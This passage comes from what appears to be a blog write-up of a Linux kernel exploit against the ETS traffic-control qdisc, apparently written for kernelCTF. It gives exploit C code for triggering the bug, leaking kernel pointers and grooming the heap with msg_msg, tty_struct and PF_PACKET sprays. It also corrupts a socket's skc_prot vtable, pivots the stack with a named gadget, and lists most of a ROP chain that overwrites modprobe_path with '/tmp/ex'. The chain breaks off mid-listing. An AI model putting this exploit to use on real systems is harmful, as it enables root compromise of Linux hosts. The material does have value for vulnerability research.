8 | 8 */ struct list_head *prev; /* total size (bytes): 16 */ } alist; /* 16 | 8 */ struct Qdisc *qdisc; /* 24 | 4 */ u32 quantum; /* 28 | 4 */ u32 deficit; /* 32 | 16 */ struct gnet_stats_basic_sync { /* 32 | 8 */ u64_stats_t bytes; /* 40 | 8 */ u64_stats_t packets; /* 48 | 0 */ struct u64_stats_sync { &lt;no data fields&gt; /* total size (bytes): 0 */ } syncp; /* total size (bytes): 16 */ } bstats; /* 48 | 20 */ struct gnet_stats_queue { /* 48 | 4 */ __u32 qlen; /* 52 | 4 */ __u32 backlog; /* 56 | 4 */ __u32 drops; /* 60 | 4 */ __u32 requeues; /* 64 | 4 */ __u32 overlimits; /* total size (bytes): 20 */ } qstats; /* XXX 12-byte padding */ /* total size (bytes): 80 */ } quantum is at offset 24. -16 + 24 = 8 so we are writing quantum to the lower 4 bytes of active-&gt;prev. Sick. Even better news is that we control quant, as it is taken directly from our message. Next step: what does this active get used for and what sort of damage can we do with this? Speculating insert image of L from death note here Theres quite a few directions this could go now, Ctrl+F for active in the ets source file and have some fun. My brain immediately beelined to the enqueuing and dequeuing process, and so we arrive at our inevitable destination. static int ets_qdisc_enqueue(struct sk_buff *skb, struct Qdisc *sch, struct sk_buff **to_free) { unsigned int len = qdisc_pkt_len(skb); struct ets_sched *q = qdisc_priv(sch); struct ets_class *cl; int err = 0; bool first; cl = ets_classify(skb, sch, &amp;err); if (!cl) { if (err &amp; __NET_XMIT_BYPASS) qdisc_qstats_drop(sch); __qdisc_drop(skb, to_free); return err; } first = !cl-&gt;qdisc-&gt;q.qlen; err = qdisc_enqueue(skb, cl-&gt;qdisc, to_free); if (unlikely(err != NET_XMIT_SUCCESS)) { if (net_xmit_drop_count(err)) { cl-&gt;qstats.drops++; qdisc_qstats_drop(sch); } return err; } // [1] if (first &amp;&amp; !ets_class_is_strict(q, cl)) { list_add_tail(&amp;cl-&gt;alist, &amp;q-&gt;active); cl-&gt;deficit = cl-&gt;quantum; } sch-&gt;qstats.backlog += len; sch-&gt;q.qlen++; return err; } After classifying a packet we arrive at [1]. If our packet is the first to be enqueued on this class/band’s qdisc, and the band isnt strict (normal bandwidth sharing band) we call into list_add_tail with our (potentially) corrupt active-&gt;prev. So what it do? Briefly: // new = &amp;cl-&gt;alist // head = &amp;q-&gt;active static inline void list_add_tail(struct list_head *new, struct list_head *head) { __list_add(new, head-&gt;prev, head); } // ... // new = &amp;cl-&gt;alist // prev = q-&gt;active-&gt;prev // next = &amp;q-&gt;active static inline void __list_add(struct list_head *new, struct list_head *prev, struct list_head *next) { // [1] if (!__list_add_valid(new, prev, next)) return; next-&gt;prev = new; new-&gt;next = next; new-&gt;prev = prev; // [2] prev-&gt;next = new WRITE_ONCE(prev-&gt;next, new); } I did end up having to recompile a kernel with list hardening (CONFIG_LIST_HARDENED + CONFIG_DEBUG_LIST) turned off so we dont get destroyed at [1] - my default ubuntu kernel config had this disabled so I generally mirrored most of the important stuff to my target. Anyway. So basically we end up doing active-&gt;prev-&gt;next = &amp;cl-&gt;alist, which is perfect for us (active-&gt;prev is controlled atp). Now, how do we trigger. Very very simple, just send a packet to the interface! // Just send a packet to localhost void trigger_write() { int s = socket(AF_INET, SOCK_DGRAM, 0); struct sockaddr_in saddr = {0}; saddr.sin_family = AF_INET; saddr.sin_port = 1234; inet_pton(AF_INET, "127.0.0.1", &amp;saddr.sin_addr); sendto(s, "lol", 3, 0, &amp;saddr, sizeof(saddr)); close(s); } Port doesn’t matter here, as long as its being sent in the vague direction of lo. Another use of this lets us write back the value of cl-&gt;quantum over netlink, so instead of overwriting it we can leak it first. Looking back at ets_class_change there’s this check: if (!tb[TCA_ETS_QUANTA_BAND]) /* Nothing to configure. */ return 0; If we don’t set TCA_ETS_QUANTA_BAND in the message attributes, we don’t overwrite the quantum value. So where is this return gonna take us back to? The call to ets_class_change originates in tc_ctl_tclass [1]. // ... // [1] if (cops-&gt;change) err = cops-&gt;change(q, clid, portid, tca, &amp;new_cl, extack); if (err == 0) { // [2] tclass_notify(net, skb, n, q, new_cl, RTM_NEWTCLASS, extack); /* We just create a new class, need to do reverse binding. */ if (cl != new_cl) tc_bind_tclass(q, portid, clid, new_cl); } // ... Given we return 0, we next call into [2]. tclass_notify isnt too important, just know it sends class data back to us over rtnetlink, whats more important is what fills in this data. tc_fill_tclass is called from inside tclass_notify where it constructs a tcmsg to send our way. As part of this we eventually dump some information about our class: // ... if (nla_put_string(skb, TCA_KIND, q-&gt;ops-&gt;id)) goto nla_put_failure; if (cl_ops-&gt;dump &amp;&amp; cl_ops-&gt;dump(q, cl, skb, tcm) &lt; 0) goto nla_put_failure; // ... cl_ops-&gt;dump is ets_class_dump in this case. And of course, this fills in the cl-&gt;quantum value - aka 4 bytes of active-&gt;prev. // ... if (!ets_class_is_strict(q, cl)) { if (nla_put_u32(skb, TCA_ETS_QUANTA_BAND, cl-&gt;quantum)) goto nla_put_failure; } // ... So getting a kmalloc-2k leak is easy, all we need to do is rummage through the message we get to find it. And it doesnt matter that its only 4 lower bytes because thats all we can write back into the pointer anyway. So now we have that out of the way, how do we proceed? What primitives can be get from this? Sploit ideas So we have a pretty decent primitive, we can write a pointer to our qdisc allocation in kmalloc-2k ANYWHERE in the kmalloc heap. Pretty decent starting point. However bcuz I am kernel exp noob this took an embarrassingly long time. The first problem to take care of is leaks, we already have kmalloc-2k, but we’ll need kernel text and more heap leaks, ideally. My first strategy here was trying to abuse ets_qdisc_dump: static int ets_qdisc_dump(struct Qdisc *sch, struct sk_buff *skb) { struct ets_sched *q = qdisc_priv(sch); struct nlattr *opts; struct nlattr *nest; int band; int prio; int err; // ... // [1] if (q-&gt;nbands &gt; q-&gt;nstrict) { nest = nla_nest_start(skb, TCA_ETS_QUANTA); if (!nest) goto nla_err; // [2] for (band = q-&gt;nstrict; band &lt; q-&gt;nbands; band++) { if (nla_put_u32(skb, TCA_ETS_QUANTA_BAND, q-&gt;classes[band].quantum)) goto nla_err; } nla_nest_end(skb, nest); } // ... return nla_nest_end(skb, opts); nla_err: nla_nest_cancel(skb, opts); return -EMSGSIZE; } Given we have a leak of the qdisc already, its feasible we can reliably write anywhere within it and its contained structures. If we were to write a pointer value into nbands, it would be treated as a massive value. Then when we try to dump the qdisc, we would be able to read as many quantum values as we want from adjacent memory [2]. This ended up working quite well for an old test exploit I made with a different bug, however I didnt end up using this due to some…. Complications that arose when writing to and around nbands. I found that trying to delete or reset the qdisc state after corrupting nbands resulted in a crash, the culprits being ets_qdisc_reset and/or ets_qdisc_destroy. static void ets_qdisc_reset(struct Qdisc *sch) { struct ets_sched *q = qdisc_priv(sch); int band; // [1] for (band = q-&gt;nstrict; band &lt; q-&gt;nbands; band++) { if (q-&gt;classes[band].qdisc-&gt;q.qlen) list_del(&amp;q-&gt;classes[band].alist); } for (band = 0; band &lt; q-&gt;nbands; band++) qdisc_reset(q-&gt;classes[band].qdisc); } static void ets_qdisc_destroy(struct Qdisc *sch) { struct ets_sched *q = qdisc_priv(sch); int band; ets_offload_destroy(sch); tcf_block_put(q-&gt;block); // [2] for (band = 0; band &lt; q-&gt;nbands; band++) qdisc_put(q-&gt;classes[band].qdisc); } Both of these use nbands to free or delete or reset class qdiscs and the class alists, and performing this OOB leads to a null deref in my experience. This is especially problematic because as we’ll see soon a fundamental part of our write primitive involves resetting the qdisc state so we can pass the first check in ets_qdisc_enqueue and trigger the primitive. With no way (I found) to restore the nbands variable to its sane state I moved on to some other method that didn’t require corrupting the qdisc - at least not anymore than we already do. That’s not to say there isn’t a way to do this using the corrupted nbands – its used quite a bit, and it could be a good exercise if you’re in a similar place to me and looking for a bug to POC. Far too many cross cache attacks My next port of call as it appears to be for many a’ exploit dev is cross cache. What if we were to write the alist ptr somewhere in memory, and then free the qdisc? Since the ptr still refers to the qdisc allocation this would cause a UAF (lol). So what can we do? This is something I especially struggled with due to the yawning abyss of possible approaches here: a qdisc comes from kmalloc-2k, and we have its address, so what do we do? Theres a… teeny tiny lil amount of potential objects we can use, just enough to drive you absolutely insane. When in doubt, cross cache in to a cg cache, baby. I’ll not explain cross cache here, but there’s a lot of really really great material that covers the process. I hate to banish you to another blog and lose you forever but give some of it a read and come back later (please). You’ll thank me. Doing this cross cache would upgrade our kmalloc-2k leak to a kmalloc-cg-2k leak. Using this we can do some funny stuff. One of the first things that occurred to me is writing our pointer into the next segment of a msg_msg. So the process would be: Add a qdisc, get a leak for this allocation Release and cross cache the qdisc page to cg-2k Add yet another qdisc So we can use the write primitive Write the pointer into one of the msg_msg-&gt;next from our cross cache spray. Receive the message. Profit??? It wasn’t gonna be that easy, though. Given the properties of alist and the current state of the qdisc, the pointer we write just points to itself. So even if we MSG_COPY a message (non-destructively fetching it from the queue rather than freeing it) we will still crash as copy_msg simply copies data while the next is populated. Bleh. So the next idea I had was to release the other qdisc as well and replace that with another object, making the ptr written into msg_msg-&gt;next stale. Given the range of possibilities with kmalloc-2k this again kind of drove me insane. So… Cross cache party time again? I cant really say my exploit is optimal as it probably would’ve been easier to systematically search for an object in 2k which contains a kernel image ptr and NOT cross cache again, but I aint changing it now :P. Good luck. Struct’ive feedback I’m just putting whatever the hell I want as the section headers now. Mhm. So what did I have in mind? tty_structs. This is pretty well documented, but the gist is they have some juicy pointers in we can use to get the kernel base address. sizeof(struct tty_struct) is 0x290 (656), so these will go squarely in the kmalloc-cg-1k cache. One small problem with this is we cant really cross cache spray to reclaim our page with tty_struct as there seems to be a pretty sensible (god i know) limit on the amount of these we can allocate. Solution? Spray msg_msg instead, of course. There’s not a single problem that cant be solved with excessive spraying of msg_msg. The idea is: Create another qdisc, get leaks from it (again) Spray msg_msg to get the slab where our controlled msg segment was Now we entirely control the next segment of the original message with arbitrary data Loop through the sprayed messages until the received (MSG_COPYd, of course) data in the next segment matches what we sprayed in 2. Now we’ve found our controlled message Free the controlled message Spray tty_structs With any luck, the next segment ptr of our old msg_msg now points into a tty_struct. This worked pretty well for the most part - excluding an alarming caveat that came later on. The code for this spraying and reclaiming follows. // Writing the pointer and stuff... // ... for (i = 0; i &lt; MSG_SPRAY / 2; i++) { // Release and immediately reclaim the messages we are sending. // This means when we break we free the correct msg and can then // just grab it and do whatever we want with it being free. mrecv = recv_msg(qid[i], COMP_SZ_MAX, 0, 0); if (mrecv[8 + 1] != '\x41') { printf("[!] Found: %d....\n", i); dumph(mrecv + 8, 0x8, ' '); qdisc_ptr_leak = *(uint64_t *)(&amp;mrecv[8]); break; } send_msg(qid[i], COMP_SZ_MAX, msg, i + 1); free(mrecv); } if (!qdisc_ptr_leak) { // We will likely just crash here regardless lol printf("[!] Cross cache failed lol. Retry\n"); return; } free(mrecv); // ... // Hit the `next` ptr of controlled msg do_ptr_write(idx, quant - 0x180 + 0x20, 1, sock_fd, &amp;dest_addr); // ... // Cross cache stuff // ... // Need to be able to identify each msg { int msgsz = NEW_SPRAY_SZ; char *msgtxt = msg1; int spray_n = MSG_SPRAY * 2; int *qstore = qid1; int qidn = 0; int ret = -1; socklen_t len = 0; char mbuf[msgsz + MSGSZ]; struct msgbuf *msg = (struct msgbuf *)mbuf; msgsz -= (MSGSZ); memcpy(msg-&gt;mtext, msgtxt, msgsz); for (int j = 0; j &lt; spray_n; j++) { msg-&gt;mtype = MSG_SPRAY + j + 1; qidn = qstore[j]; *(uint64_t *)(&amp;msg-&gt;mtext[0x188 - 0x30]) = MSG_SPRAY + j + 1; if (msgsnd(qidn, msg, msgsz, 0) &lt; 0) { printf("j: %d\tqid: %d\tmsgsz: 0x%x\n", j, qidn, msgsz); perror("msgsnd lol"); exit(-1); } } } printf("[!] Receiving..."); char *mrecv1 = recv_msg_CPY(qid[i], NEWCOMPSZ, 1, 0); uint64_t seg_idx = *(uint64_t *)(&amp;mrecv1[MSGMSGSZ + 8]); printf("[*] Controlled seg idx: 0x%lx -&gt; 0x%lx\n", seg_idx, seg_idx - (MSG_SPRAY + 1)); seg_idx -= (MSG_SPRAY + 1); free(mrecv1); mrecv1 = recv_msg(qid1[seg_idx], NEW_SPRAY_SZ, 0, 0); dumph(mrecv1, 0x10, ' '); free(mrecv1); // Need moar raaaagh int spray_socks[0x200 - 4 - 1 + 0x50]; for (int i = 0; i &lt; sizeof(spray_socks) / sizeof(spray_socks[0]); i++) { if ((spray_socks[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY)) &lt;= 2) { printf("i: %d\n", i); perror("tty_struct spray open"); exit(-1); } } mrecv1 = recv_msg_CPY(qid[i], NEWCOMPSZ, 1, 0); const int subtract = (5 * 0x10) - 8; dumph(&amp;mrecv1[NEWCOMPSZ - (subtract)], subtract, ' '); uint64_t do_tty_hangup = *(uint64_t *)(&amp;mrecv1[NEWCOMPSZ - (subtract)]); kbase = do_tty_hangup - 0xadde80; printf("[*] Kbase: %p\n", kbase); free(mrecv1); We end up embedding the seg_idx of the controlled message into the message itself so we know exactly which message it is, which we then release. Very VERY luckily the tty_struct data overlapping next-&gt;next was null, otherwise this wouldn’t have worked at all. That’s become a theme with this exploit I feel. So with leaks acquired what comes next? Time travel, of course. The issue now is we wrote a single pointer, overwriting the next ptr of an old msg_msg, however in order to do more with this primitive we would need to re-do the whole process again, from the qdisc allocation to the cross cache and subsequent spraying to control the backing data this would all be quite annoying. My idea ended up being to write our pointer value twice, once in msg_msg, and another in a very different location. PF_PACKET and other miracles The object I had chosen to spray throughout the exploit was sockets – not without good reason as they are quite bountiful (much more so than tty_struct). Some sockets, like PF_NETLINK end up in kmalloc-2k when allocated, however most don’t. Many sockets have their own dedicated cache - for example AF_UNIX goes into the UNIX cache, AF_VSOCK, of course, goes into AF_VSOCK. I ended up deciding to target socket objects for achieving code execution as I had previously written an exploit following hoefler’s vsock post and it had been a very smooth process. But for this to work I would need to reliably know the location of a socket object, so ideally it would have to land in kmalloc-2k - in range of our qdisc. Enter stage right, PF_PACKET. This specific socket kind ends up in kmalloc-2k. So why and how can this object be leveraged for code execution? All struct socks have a certain member, skc_prot (residing in struct sock_common). This essentially acts as a family specific vtable of functions for stuff you can do on that socket. /* offset | size */ type = struct proto { /* 0 | 8 */ void (*close)(struct sock *, long); /* 8 | 8 */ int (*pre_connect)(struct sock *, struct sockaddr *, int); /* 16 | 8 */ int (*connect)(struct sock *, struct sockaddr *, int); /* 24 | 8 */ int (*disconnect)(struct sock *, int); /* 32 | 8 */ struct sock *(*accept)(struct sock *, int, int *, bool); /* 40 | 8 */ int (*ioctl)(struct sock *, int, int *); /* 48 | 8 */ int (*init)(struct sock *); /* 56 | 8 */ void (*destroy)(struct sock *); /* 64 | 8 */ void (*shutdown)(struct sock *, int); /* 72 | 8 */ int (*setsockopt)(struct sock *, int, int, sockptr_t, unsigned int); /* 80 | 8 */ int (*getsockopt)(struct sock *, int, int, char *, int *); /* 88 | 8 */ void (*keepalive)(struct sock *, int); /* 96 | 8 */ int (*compat_ioctl)(struct sock *, unsigned int, unsigned long); /* 104 | 8 */ int (*sendmsg)(struct sock *, struct msghdr *, size_t); /* 112 | 8 */ int (*recvmsg)(struct sock *, struct msghdr *, size_t, int, int *); /* 120 | 8 */ void (*splice_eof)(struct socket *); /* 128 | 8 */ int (*bind)(struct sock *, struct sockaddr *, int); /* 136 | 8 */ int (*bind_add)(struct sock *, struct sockaddr *, int); /* 144 | 8 */ int (*backlog_rcv)(struct sock *, struct sk_buff *); /* 152 | 8 */ bool (*bpf_bypass_getsockopt)(int, int); // [1] /* 160 | 8 */ void (*release_cb)(struct sock *); /* 168 | 8 */ int (*hash)(struct sock *); /* 176 | 8 */ void (*unhash)(struct sock *); /* 184 | 8 */ void (*rehash)(struct sock *); /* 192 | 8 */ int (*get_port)(struct sock *, unsigned short); /* 200 | 8 */ void (*put_port)(struct sock *); /* 208 | 8 */ int (*psock_update_sk_prot)(struct sock *, struct sk_psock *, bool); /* 216 | 4 */ unsigned int inuse_idx; /* XXX 4-byte hole */ // IRRELEVENT STUFF /* 448 | 8 */ int (*diag_destroy)(struct sock *, int); /* total size (bytes): 456 */ } Sidenote god I love pahole so much. The release_cb member of this structure is used (shocker incoming) when releasing the socket. It takes care of family specific destruction. So if you invoke close(my_sock_xd); this may call release_cb. The reason I say may is because when I tried this with netlink sockets there was absolutely nothing, so its not guaranteed, other destruction stuff may be used – another reason why packet sockets are cool. So… What you’re saying is there’s a vtable… And we can write a pointer… And this pointer can be backed by entirely user controlled data (bcuz kmalloc-cg-1k)… Hmmm….. Why the hell did libc have to go and start validating IO vtables man why cant everything be as easy as this. _codecvt will remember that The process for writing into a packet sock is extremely simple, at the point where we write it into our msg_msg-&gt;next, we also write to skc_prot of a packet sock. This way both are the same, and both will end up pointing into kmalloc-cg-1k after all’s said and done. You may be able to see where this is going; After leaks are acquired, we release our tty_structs, and in their place spray more msg_msg, thus controlling the vtable contents. At this point its as simple as releasing all our packet sockets and crossing our fingers. Of course, it wouldn’t be this simple. Exploit flow walkthrough But before we address that, here’s a recap of what an (idealistic) exploit flow looks like. Use the bug to underflow the class and leak a quantum value corresponding to the cl-&gt;alist value. Perform a cross cache attack, migrating kmalloc-2k to kmalloc-cg-2k Now the leak we just got refers to kmalloc-cg-2k instead of normal 2k. Create another qdisc, at the same time setting up for a second cross cache attach Use the bug to perform a pointer write into one of the sprayed msg_msg. These are the msg’s we sprayed in step 2 Iterate over the messages and receive a message from all of our msg queues until we find the pointer we just wrote. This just involves checking if the msg content matches what we sent earlier - if it doesnt, we found our controlled message. Note that when receiving we aren’t using MSG_COPY so the message objects are being free’d on receive. If we find our ptr, break out of the loop, otherwise send a message down the queue of exactly the same size to reclaim the object. This is done so if we do find our controlled message we release it and can then reclaim it outside the loop. If we were to just free every message without reclaiming it could be difficult to reallocate the exact message we want when we do find it. Use the pointer write primitive again to write cl-&gt;alist into the next msg_msgseg ptr of our controlled msg This will be used for leaking more data later Add a child qdisc to our main qdisc, use the bug to get a leak from this qdisc. This is simply so we have a leak into the CURRENT kmalloc-2k cache. Spray PF_PACKET datagram sockets. One of these will (ideally) end up adjacent to the child qdisc, meaning we now know their location. Delete the child qdisc We dont need it anymore :( Use the pointer write primitive yet again to write cl-&gt;alist into the area which should overlap with the skc_prot member of one of the sprayed sockets. This is simply a vtable with some other data members of type struct proto. You may be able to see where this is going… Delete our main qdisc, and perform steps to initiate cross cache At this point after this cross cache we have a message whos next seg ptr points into kmalloc-cg-2k and the same for skc_proto, which points to the same location. SPRAY BILLIONS (9999) OF MSGs. One of them should reclaim the allocation where our main qdisc was This means the old msg-&gt;next now points into another msg Each message has its queue idx embedded in its contents so we can find which sprayed msg specifically is overlapping. Receive (and MSG_COPY) a message from our original queue, this should print out the contents of one of the sprayed message. This contents also contains its index in the queue. Receive and release all the messages in the overlapping msg queue. Spray tty_struct objects You defo see the money now huh These will replace the messages we just released. At this point, the old msg-&gt;next (should) point into a tty_struct object, so we receive (MSG_COPY) from this queue. The latter portion of the message contains kernel text and data leaks from said object. Very very very fortunately for us there was NOT a pointer at the start of the “segment”, so this leak works fine. Delete all the tty_structs and spray MORE messages in their place. These messages all contain the same thing: the fake skc_prot with a stack pivot gadget overlapping release_cb and a ropchain. Finally, release all the PF_PACKET sockets. One of these should have had its skc_prot corrupted, and will set off the ropchain. All in all I think we can agree - far too many cross cache attacks, and not enough message sprays. Life’s too short not to fill the heap with msg_msgs and cause an OOM panic. - This Definitely DIDNT happen a good few times. Vaulted by a ram increase This was the original plan for the exploit, but owing to some page shenanigans this had to be amended slightly. When increasing qemu’s RAM from 256M to 2G, I ran into an issue where my second cross cache, wherein I attempted to migrate a kmalloc-2k cache to kmalloc-cg-1k (for steps 16 &amp; 17) simply didn’t work, no matter how many objects I sprayed. This was a whole saga, at one point I thought it was fixed but then realized I had changed the memory back to 256M and forgotten to revert back to 2G, very very silly. I asked around in the kernelCTF discord server, which seems to be a tried and tested technique (new heap tech unlocked I call it house-of-help). It turned out something quite interesting had happened to my page: Per cpu list??? It made sense, our page was stuck somewhere we couldnt get at, but I was a little confused at this as I had heard the concept of a per cpu lists before – the cpu partial list must be overcome to successfully cross cache, but I had no idea of the working and function of the per cpu page freelist. You can skip this section if uninterested as there will be a fair amount of waffling. First, per cpu? Its obvious of course from the name - but I wanted to ensure my understanding was correct. Per CPU variables have a copy existing for every processor. This can be used as a macro in a variable declaration. For example see the declaration of pcp list itself on the zone struct in mmzone.h: struct per_cpu_pages __percpu *per_cpu_pageset; Second, how? How and why did our page end up in the PCP list instead of coming back to us? When freeing a page, if we have a PCP for this CPU (idk a situation this wouldnt be the case) the free_unref_page_commit function will be called [1] : /* * Free a pcp page */ void free_unref_page(struct page *page, unsigned int order) { unsigned long __maybe_unused UP_flags; struct per_cpu_pages *pcp; struct zone *zone; unsigned long pfn = page_to_pfn(page); int migratetype, pcpmigratetype; if (!free_unref_page_prepare(page, pfn, order)) return; /* * We only track unmovable, reclaimable and movable on pcp lists. * Place ISOLATE pages on the isolated list because they are being * offlined but treat HIGHATOMIC and CMA as movable pages so we can * get those areas back if necessary. Otherwise, we may have to free * excessively into the page allocator */ migratetype = pcpmigratetype = get_pcppage_migratetype(page); if (unlikely(migratetype &gt;= MIGRATE_PCPTYPES)) { // ... } zone = page_zone(page); pcp_trylock_prepare(UP_flags); pcp = pcp_spin_trylock(zone-&gt;per_cpu_pageset); // [1] if (pcp) { free_unref_page_commit(zone, pcp, page, pcpmigratetype, order); pcp_spin_unlock(pcp); } else { free_one_page(zone, page, pfn, order, migratetype, FPI_NONE); } pcp_trylock_finish(UP_flags); } This ends up linking our page into the PCP list - which is fine. Later on, when trying to allocate a page, we end up calling __alloc_pages, which calls get_page_from_freelist in its “fastpath”. This then calls rmqueue, which, you guessed it, removes a page from one of the freelists. This then ends up calling into rmqueue_pcplist - when the order is right [2]. __no_sanitize_memory static inline struct page *rmqueue(struct zone *preferred_zone, struct zone *zone, unsigned int order, gfp_t gfp_flags, unsigned int alloc_flags, int migratetype) { struct page *page; /* * We most definitely don't want callers attempting to * allocate greater than order-1 page units with __GFP_NOFAIL. */ WARN_ON_ONCE((gfp_flags &amp; __GFP_NOFAIL) &amp;&amp; (order &gt; 1)); if (likely(pcp_allowed_order(order))) { // [2] page = rmqueue_pcplist(preferred_zone, zone, order, migratetype, alloc_flags); if (likely(page)) goto out; } // ... return page; This is where the problem begins, however. As Dino said, you CANNOT cross cache from the pcp list for different order pages [3]. /* Lock and remove page from the per-cpu list */ static struct page *rmqueue_pcplist(struct zone *preferred_zone, struct zone *zone, unsigned int order, int migratetype, unsigned int alloc_flags) { struct per_cpu_pages *pcp; struct list_head *list; struct page *page; unsigned long __maybe_unused UP_flags; // ... /* * On allocation, reduce the number of pages that are batch freed. * See nr_pcp_free() where free_factor is increased for subsequent * frees. */ pcp-&gt;free_factor &gt;&gt;= 1; // [3] list = &amp;pcp-&gt;lists[order_to_pindex(migratetype, order)]; page = __rmqueue_pcplist(zone, order, migratetype, alloc_flags, pcp, list); pcp_spin_unlock(pcp); pcp_trylock_finish(UP_flags); if (page) { __count_zid_vm_events(PGALLOC, page_zonenum(page), 1 &lt;&lt; order); zone_statistics(preferred_zone, zone, 1); } return page; } We can now see why this is; it will only ever give us pages with the same order and migrate type :(. Now resuming from where we left off. It (our page) was indeed stuck (thanks dinosaurlover38 u da best). As part of the cross cache, steps 1 and 3 (see previous screenshot) were already being performed, so all that needed to happen was me releasing as many slabs as possible to trigger the code which would flush the per-cpu freelist: static void free_unref_page_commit(struct zone *zone, struct per_cpu_pages *pcp, struct page *page, int migratetype, unsigned int order) { int high; int pindex; bool free_high; __count_vm_events(PGFREE, 1 &lt;&lt; order); pindex = order_to_pindex(migratetype, order); list_add(&amp;page-&gt;pcp_list, &amp;pcp-&gt;lists[pindex]); pcp-&gt;count += 1 &lt;&lt; order; /* * As high-order pages other than THP's stored on PCP can contribute * to fragmentation, limit the number stored when PCP is heavily * freeing without allocation. The remainder after bulk freeing * stops will be drained from vmstat refresh context. */ free_high = (pcp-&gt;free_factor &amp;&amp; order &amp;&amp; order &lt;= PAGE_ALLOC_COSTLY_ORDER); high = nr_pcp_high(pcp, zone, free_high); // [1] if (pcp-&gt;count &gt;= high) { // [2] free_pcppages_bulk(zone, nr_pcp_free(pcp, high, free_high), pcp, pindex); } } When the pcp-&gt;count reaches high we set the release in motion, starting with pcp-&gt;lists[pindex-1]: struct per_cpu_pages { spinlock_t lock; /* Protects lists field */ int count; /* number of pages in the list */ int high; /* high watermark, emptying needed */ int batch; /* chunk size for buddy add/remove */ short free_factor; /* batch scaling factor during free */ #ifdef CONFIG_NUMA short expire; /* When 0, remote pagesets are drained */ #endif /* Lists of pages, one per migrate type stored on the pcp-lists */ struct list_head lists[NR_PCP_LISTS]; } ____cacheline_aligned_in_smp; lists store references to struct pages, the comment implies 1 per migrate type but there’s a lil more to it: #define NR_LOWORDER_PCP_LISTS (MIGRATE_PCPTYPES * (PAGE_ALLOC_COSTLY_ORDER + 1)) #define NR_PCP_LISTS (NR_LOWORDER_PCP_LISTS + NR_PCP_THP) We have a a list for each migrate type for every possible page block order. Meaning we can store all migrate type pages for all possible orders. Cool. high, the “high watermark” seems to refer to the total page capacity of the pcp list. Although pindex is derived from the order and determines the first list to be drained in free_pcppages_bulk, every list should (in circumstances where free_high is true) end up drained in the end due to us passing nr_pcp_free(pcp, high, free_high) as count at [2]. static void free_pcppages_bulk(struct zone *zone, int count, struct per_cpu_pages *pcp, int pindex) { unsigned long flags; unsigned int order; bool isolated_pageblocks; struct page *page; /* * Ensure proper count is passed which otherwise would stuck in the * below while (list_empty(list)) loop. */ count = min(pcp-&gt;count, count); /* Ensure requested pindex is drained first. */ pindex = pindex - 1; spin_lock_irqsave(&amp;zone-&gt;lock, flags); isolated_pageblocks = has_isolate_pageblock(zone); while (count &gt; 0) { struct list_head *list; int nr_pages; /* Remove pages from lists in a round-robin fashion. */ do { if (++pindex &gt; NR_PCP_LISTS - 1) pindex = 0; list = &amp;pcp-&gt;lists[pindex]; } while (list_empty(list)); order = pindex_to_order(pindex); nr_pages = 1 &lt;&lt; order; do { int mt; page = list_last_entry(list, struct page, pcp_list); mt = get_pcppage_migratetype(page); /* must delete to avoid corrupting pcp list */ list_del(&amp;page-&gt;pcp_list); count -= nr_pages; pcp-&gt;count -= nr_pages; /* MIGRATE_ISOLATE page should not go to pcplists */ VM_BUG_ON_PAGE(is_migrate_isolate(mt), page); /* Pageblock could have been isolated meanwhile */ if (unlikely(isolated_pageblocks)) mt = get_pageblock_migratetype(page); __free_one_page(page, page_to_pfn(page), zone, order, mt, FPI_NONE); trace_mm_page_pcpu_drain(page, order, mt); } while (count &gt; 0 &amp;&amp; !list_empty(list)); } spin_unlock_irqrestore(&amp;zone-&gt;lock, flags); } My approach was to break on [1] in a debugger and inspect the value of high to see how many (order 3) page blocks would have to be released. Before anything happens in my exploit, I allocate many msg_msgs in kmalloc-cg-2k, enough that when all released they will flush the pcp list: // Filling void make_slabs(int *msgq, int *pre_post, uint32_t num_alloc, uint32_t pre, uint32_t post) { // Make a bunch of 2k slabs for us to release later, hopefully will enable us // to release our qdisc slab from the percpu freelist Because the target is // also order-3, we must also release order 3. We should ideally call this // func BEFORE anything else in the program. char mtext[MAX_K2K_SZ]; memset(mtext, 0x88, MAX_K2K_SZ); msg_spray_nodiag(MAX_K2K_SZ, mtext, PRE, pre_post); msg_spray_nodiag(MAX_K2K_SZ, mtext, num_alloc, msgq); msg_spray_nodiag(MAX_K2K_SZ, mtext, POST, &amp;pre_post[PRE]); } // ... // Releasing void release_slabs(int *msgq, int *pre_post, uint32_t num_alloc, uint32_t pre, uint32_t post) { // Does the inverse of the above. // Free one obj per slab to overflow partial list char *mrecv = NULL; for (int i = 0; i &lt; num_alloc; i += OBJ_PER_SLAB) { mrecv = recv_msg(msgq[i], MAX_K2K_SZ, 0, 0); free(mrecv); } for (int i = 0; i &lt; pre + post; i++) { mrecv = recv_msg(pre_post[i], MAX_K2K_SZ, 0, 0); free(mrecv); } for (int i = 0; i &lt; num_alloc; i++) { if (!(i % OBJ_PER_SLAB)) continue; mrecv = recv_msg(msgq[i], MAX_K2K_SZ, 0, 0); free(mrecv); } } This release of course must happen AFTER our cross cache page has been kidnapped by the pcp list and before any attempts to reclaim the page. I had to spray a little more msg_msg than usual to get the page back, but it worked a charm. ROP check? Theres a small problem here - since we are hijacking a vtable, we obviously dont have an immediate vehicle for executing more or other gadgets beyond that point. We will need to stack pivot. Luckily, the kernel is… Fairly massive so we have no shortage of gadgets. But do we have any that will work for our specific needs? If you step through the code responsible for invoking release_cb (see release_sock function) in gdb before the call, you’ll notice that at the time of calling, rax points at skc_prot, which is to say it points at the close member, and is entirelly controlled. My first thought was how do we pivot the kernel stack to this destination? Very easily, in fact. ropper blessed me with this beauty: 0xffffffff810f95cc &lt;x86_gsbase_write_cpu_inactive+76&gt;: mov rsp,rax 0xffffffff810f95cf &lt;x86_gsbase_write_cpu_inactive+79&gt;: pop rbx 0xffffffff810f95d0 &lt;x86_gsbase_write_cpu_inactive+80&gt;: ret At this point more rop is extremely easy, so what do we actually want to do. Im a simple man with simple tastes – modprobe_path to be exact. Although the traditional way to invoke modprobe using dummy files was callously murdered, there are other ways, Thanks Theorio. With this in mind all we need to do is construct a write primitive capable of overwriting it. Heres what my chain looks like in the exploit: uint32_t write = (0x188 - 0x30) / 8; uint64_t *mptr = (uint64_t *)(&amp;msg-&gt;mtext[0]); mptr[write++] = pop_rsi_ret; mptr[write++] = modprobe; mptr[write++] = pop_rdx_ret; // /tmp/ex\x00 mptr[write++] = 0x0078652f706d742f; mptr[write++] = mov_qword_ptr_rsi_rdx_pop_rbx_ret; // Skip raw_prot write++; mptr[write++] = swapgs_return_to_usermode; // Now the arg arrangements for iretq mptr[write++] = 0x7777777777777777; 